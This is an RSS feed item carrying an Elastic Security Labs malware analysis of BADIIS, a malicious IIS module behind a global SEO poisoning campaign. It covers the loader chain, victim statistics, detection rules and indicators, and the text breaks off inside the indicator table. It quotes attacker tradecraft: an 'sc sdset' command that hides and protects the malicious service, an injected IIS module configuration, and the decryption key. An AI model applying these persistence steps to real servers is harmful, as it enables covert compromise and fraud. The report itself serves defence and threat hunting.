<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Jia Yu Chan</title>
        <link>https://www.elastic.co/de/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 05 Mar 2026 22:21:01 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Jia Yu Chan</title>
            <url>https://www.elastic.co/de/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/de/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[BADIIS to the Bone: New Insights to a Global SEO Poisoning Campaign]]></title>
            <link>https://www.elastic.co/de/security-labs/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</link>
            <guid>badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</guid>
            <pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server consistent with other industry publications.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server.  These observations align with previous reporting from <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">Cisco Talos</a> and <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">Trend Micro</a> from last year.</p>
<p>This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.</p>
<h3>Key takeaways</h3>
<ul>
<li>Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers</li>
<li>Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites</li>
<li>Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam</li>
<li>This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro</li>
</ul>
<h2>Campaign Overview</h2>
<p>REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.</p>
<p>The campaign operates through a two-phase process:</p>
<ul>
<li>First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and</li>
<li>Next, it redirects victims to a sprawling &quot;vice economy&quot; of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.</li>
</ul>
<p>By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.</p>
<h2>Intrusion activity</h2>
<p>In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (<code>w3wp.exe</code>). The attacker conducted initial discovery and then created a new user account.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image9.png" alt="REF4033 execution flow" /></p>
<p>Shortly after the account was created and added to the Administrators group, <a href="https://www.elastic.co/de/security">Elastic Defend</a> generated several alerts related to a newly created Windows service, <code>WalletServiceInfo</code>. The service loaded an unsigned ServiceDLL  (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll</code>)  and subsequently executed direct syscalls from the module.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image18.png" alt="Suspicious Windows Service DLL Creation Alert" /></p>
<p>Next, we saw the threat actor harden their access by using a program called <a href="https://www.d99net.net/">D-Shield Firewall</a>. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (<code>1e4b23eee1b96b0cc705da1e7fb9e2f3</code>) of the loader (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe</code>) to obtain a loader <a href="https://www.virustotal.com/gui/file/055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294">sample</a> from VirusTotal for our analysis.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image14.png" alt="CbsMsgApi - imphash" /></p>
<p>To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal <a href="https://www.virustotal.com/gui/search/name%253ACbsMsgApi%252Edll?type=files">search</a> on the name (<code>CbsMsgApi.dll</code>). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ <a href="https://vmpsoft.com/">VMProtect</a>, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected <a href="https://www.virustotal.com/gui/file/2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a">sample</a> to gain additional insight into this attack chain.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image12.png" alt="CbsMsgApi.dll sample listing in VirusTotal" /></p>
<h2>Code analysis - CbsMsgApi.exe</h2>
<p>The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, <code>CbsMsgApi.exe</code>. This file contains Chinese Simplified strings, including the PDB string (<code>C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb</code>).</p>
<p>After launch, this program creates a Windows service, <code>WalletServiceinfo,</code> which configures a ServiceDLL (<code>CbsMsgApi.dll</code>) that runs under <code>svchost.exe</code>, similar to this <a href="https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain">persistence technique</a>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image26.png" alt="Console output from Cbs.exe" /></p>
<p>This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:</p>
<pre><code>sc sdset &quot;WalletServiceInfo&quot; &quot;D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)&quot;
</code></pre>
<h2>Code analysis - CbsMsgApi.dll</h2>
<p>The main component of this attack sequence is the ServiceDLL (<code>CbsMsgApi.dll</code>). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image4.png" alt="ServiceMain functionality within CbsMsgApi.dll" /></p>
<p>During this attack, the threat actor stages three files masquerading within the <code>System32\drivers</code> folder:</p>
<ul>
<li><code>C:\Windows\System32\drivers\WUDFPfprot.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderpo.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderrt.sys</code></li>
</ul>
<p>Two of these files (<code>WppRecorderrt.sys</code>, <code>WppRecorderpo.sys</code>) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (<code>WUDFPfprot.sys</code>) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name <code>WsmRes64</code> (more information on this DLL is detailed in the IIS Modules Analysis (<code>WsmRes32.dll</code> / <code>WsmRes64.dll</code>) section below):</p>
<pre><code>&lt;globalModules&gt;
    	&lt;add name=&quot;WsmRes64&quot; image=&quot;C:\Windows\Microsoft.NET\Framework\WsmRes64.dll&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/globalModules&gt;
&lt;modules&gt;
    &lt;add name=&quot;WsmRes64&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/modules&gt;
</code></pre>
<p>The malware uses the <code>CopyFileA</code> function to move the contents from the masqueraded files into the .NET directory (<code>C:\Windows\Microsoft.NET\Framework</code>).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image7.png" alt="Copying the IIS module into the .NET Framework directory" /></p>
<p>Next, the malware parses the <code>DefaultAppPool.config</code> file, examining each node to update the <code>&lt;globalModules&gt;</code> and <code>&lt;modules&gt;</code> nodes. The module will inject configuration content from the previously masqueraded file (<code>WUDFPfprot.sys</code>), updating the IIS configuration via a series of append operations.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image8.png" alt="Procmon output showing DefaultAppPool modification" /></p>
<p>Below is an example of the newly added global module entry that references the BADIIS DLL.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image6.png" alt="Newly added global module" /></p>
<p>Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the <code>w3wp.exe</code> worker process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image20.png" alt="WsmRes64.dll loaded under w3wp.exe" /></p>
<h2>IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)</h2>
<p>The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.</p>
<p>Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the <code>SM4 algorithm</code> (a Chinese national standard block cipher) in ECB mode with the key “<code>1111111122222222”</code>. In older samples, the AES-128 ECB algorithm was used instead.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Configuration decryption function" /></p>
<p>Each URL in the configuration points to a static <code>.txt</code> file that contains a second-stage resource. The list below details these source files and their specific roles:</p>
<table>
<thead>
<tr>
<th align="left">Example configuration URL</th>
<th align="left">File Name</th>
<th align="left">Content Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmlip.txt</code></td>
<td align="left"><code>*fmlip.txt</code></td>
<td align="left">Contains a URL pointing to a fake CSS file, <code>google.css</code>, that lists subnets used for filtering requests.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmltz.txt</code></td>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Contains a link to the target URL used for user redirections.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmllj.txt</code></td>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Contains a link to the malicious SEO backlinks intended for injection.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmldz.txt</code></td>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Contains the link to the SEO content generator.</td>
</tr>
</tbody>
</table>
<p>These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (<code>hxxp://kr.domain.com</code>), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with <code>&quot;vn&quot;</code> rather than &quot;<code>kr&quot;</code>(<code>hxxp://vn.domain.com</code>).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Decrypted configuration URL using the SM4 algorithm" /></p>
<p>The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:</p>
<table>
<thead>
<tr>
<th align="left">Source</th>
<th align="left">Injection Method</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">HTML loader with progress bar + auto-redirect + Google Analytics tracking</td>
</tr>
<tr>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">Direct link to SEO content, built with <code>index.php?domain=&lt;host&gt;&amp;uri=&lt;original_link&gt;</code></td>
</tr>
<tr>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Inline injection</td>
<td align="left">SEO backlinks injected after <code>&lt;body&gt;</code> or <code>&lt;html&gt;</code> tag in existing response</td>
</tr>
</tbody>
</table>
<p>To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.</p>
<p><strong>Referers</strong>: <code>bing</code>, <code>google</code>, <code>naver</code>, <code>daum</code><br />
<strong>User agents</strong>: <code>bingbot</code>, <code>Googlebot</code>, <code>Yeti</code>, <code>Daum</code></p>
<p>The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image19.png" alt="Download and injection of SEO backlinks" /></p>
<p>In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image22.png" alt="Inlined SEO backlinks on the infected page" /></p>
<p>The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the <code>*fmldz.txt</code> file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image1.png" alt="404 page replacement strategy with User-Agent" /></p>
<p>Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the <code>*fmltz.txt</code> file, which is obtained via its configuration link.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image23.png" alt="404 landing/redirection page with Referer" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image5.png" alt="404 redirection target with Referer" /></p>
<p>Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image17.png" alt="Requests are optionally filtered on server IP and mobile’s User-Agents" /></p>
<p>The list of mobile User-Agents is listed below:</p>
<p><strong>Devices:</strong> <code>iPhone</code>, <code>iPad</code>, <code>iPod</code>, <code>iOS</code>, <code>Android</code>, <code>uc (UC Browser)</code>, <code>BlackBerry</code>, <code>HUAWEI</code></p>
<p>If the option is enabled and the infected server's IP address matches the subnet list in the <code>google.css</code> file downloaded from the <code>*fmlip.txt</code> file, the server serves the standard SEO content instead of the landing/redirection page.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image21.png" alt="Subnet filter list" /></p>
<p>The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image24.png" alt="Google Analytics in landing pages" /></p>
<p>We identified the following Google tags across the campaign:</p>
<ul>
<li><code>G-2FK43E86ZM</code></li>
<li><code>G-R0KHSLRZ7N</code></li>
</ul>
<p>As well as a Baidu Tongji tag:</p>
<ul>
<li><code>B59ff1638e92ab1127b7bc76c7922245</code></li>
</ul>
<h2>Campaign Analysis</h2>
<p>Based on similarity in URL patterns (<code>&lt;country_code&gt;fml__.txt</code>, <code>&lt;country_code&gt;fml/index.php</code>), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.</p>
<ul>
<li><code>tz123[.]app</code></li>
<li><code>tz789[.]app</code></li>
</ul>
<p><code>tz123[.]app</code> was disclosed in a Trend Micro BADIIS <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">campaign summary</a> <a href="https://documents.trendmicro.com/assets/txt/badiis-IOCspbJhGdi.txt">IOC list</a>, published in 2024 . Based on the first submission dates on VT for samples named <code>ul_cache.dll</code> and communicating with <code>hxxp://tz789[.]app/brfmljs[.]txt</code>, some are also submitted under the filename <code>WsmRes64.dll</code>. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest <a href="https://www.virustotal.com/gui/file/ec5a69bc62e66a2677ab91da16c247b780d109baa24c46b4b99233768455f558">sample</a> we discovered on VT was first submitted on 2023-12-12.</p>
<p>For REF4033, the infrastructure is split between two primary configuration servers.</p>
<ul>
<li>Recent campaigns (<code>gotz003[.]com</code>): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
<ul>
<li><code>kr.gotz003[.]com</code> (South Korea)</li>
<li><code>vn.gotz003[.]com</code> (Vietnam)</li>
<li><code>cn.gotz003[.]com</code> (China)</li>
<li><code>cnse.gotz003[.]com</code> (China)</li>
<li><code>bd.gotz003[.]com</code> (Bangladesh)</li>
</ul>
</li>
<li>Legacy infrastructure (<code>jbtz003[.]com</code>): Used in older campaign iterations, though several subdomains remain operational:</li>
<li><code>br.jbtz003[.]com</code> (Brazil)</li>
<li><code>vn.jbtz003[.]com</code> (Vietnam)</li>
<li><code>vnbtc.jbtz003[.]com</code> (Vietnam)</li>
<li><code>in.jbtz003[.]com</code> (India)</li>
<li><code>cn.jbtz003[.]com</code> (China)</li>
<li><code>jp.jbtz003[.]com</code> (Japan)</li>
<li><code>pk.jbtz003[.]com</code> (Pakistan)</li>
</ul>
<p>At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image10.png" alt="Redirected sites for users" /></p>
<p>It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at <code>uupbit[.]top</code>, impersonating Upbit, South Korea’s largest cryptocurrency exchange.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image11.png" alt="www.uupbit[.]top - from urlscan.io" /></p>
<p>The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image16.png" alt="User redirection link - infected servers located in Bangladesh" /></p>
<p>We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a <a href="https://www.virustotal.com/gui/file/1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016">sample</a> targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">UAT-8099 research</a>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image13.png" alt="Redirection template 1" /></p>
<p>A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the <a href="https://www.virustotal.com/gui/file/c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f/detection">sample</a> targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image15.png" alt="Redirection template 2" /></p>
<p>We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:</p>
<ul>
<li><code>http://kr.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://se.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cnse.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/indexgov.php</code></li>
<li><code>https://vn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://vn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://bd.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://vn.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnse.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnbtc.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://in.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://br.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://jp.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://pk.jbtz001[.]com/lunlian/index.php</code></li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image25.png" alt="Link farm content at https://vn404[.]gotz001[.]com/lunlian/index.php" /></p>
<p>Within the scope of REF4033, <strong>more than 1800 servers were impacted globally</strong>, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image28.png" alt="Victim infrastructure grouped by country &amp; ASN" /></p>
<p>The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (<code>.gov.cn</code>, <code>.gov.br</code>, <code>.gov.bd</code>, <code>.gov.vn</code>, <code>.gov.in</code>, <code>.leg.br</code>).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image29.png" alt="Victim mapped via Geo IP" /></p>
<h2>REF4033 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1136/001/">Create Account: Local Account</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/011/">Hijack Execution Flow: Services Registry Permissions Weakness</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/002/">Obfuscated Files or Information: Software Packing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
</ul>
<h2>Remediating REF4033</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/initial_access_suspicious_microsoft_iis_worker_descendant.toml">Suspicious Microsoft IIS Worker Descendant</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Potential Privilege Escalation via Token Impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_privilege_escalation_via_seimpersonateprivilege.toml">Privilege Escalation via SeImpersonatePrivilege</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_direct_syscall_from_unsigned_module.toml">Direct Syscall from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_windows_service_dll_creation.toml">Suspicious Windows Service DLL Creation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_svchost_registry_modification.toml">Suspicious Svchost Registry Modification</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_security_account_manager_(sam)_registry_access.toml">Security Account Manager (SAM) Registry Access</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BadIIS.yar">Windows.Trojan.BadIIS</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/dc64ed57860f4a150c7d1fe33d645d69f384506e/yara/rules/Windows_Trojan_Generic.yar#L364">Windows.Trojan.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.exe</code></td>
<td align="left">Service Installer</td>
</tr>
<tr>
<td align="left"><code>2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>c2ff48cfa38598ad514466673b506e377839d25d5dfb1c3d88908c231112d1b2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>7f2987e49211ff265378349ea648498042cd0817e131da41156d4eafee4310ca</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>D_Safe_Manage.exe</code></td>
<td align="left">D-Shield Firewall</td>
</tr>
<tr>
<td align="left"><code>1b723a5f9725b607926e925d1797f7ec9664bb308c9602002345485e18085b72</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx2.sc</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes32.idx</code></td>
<td align="left">32-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>gotz003[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
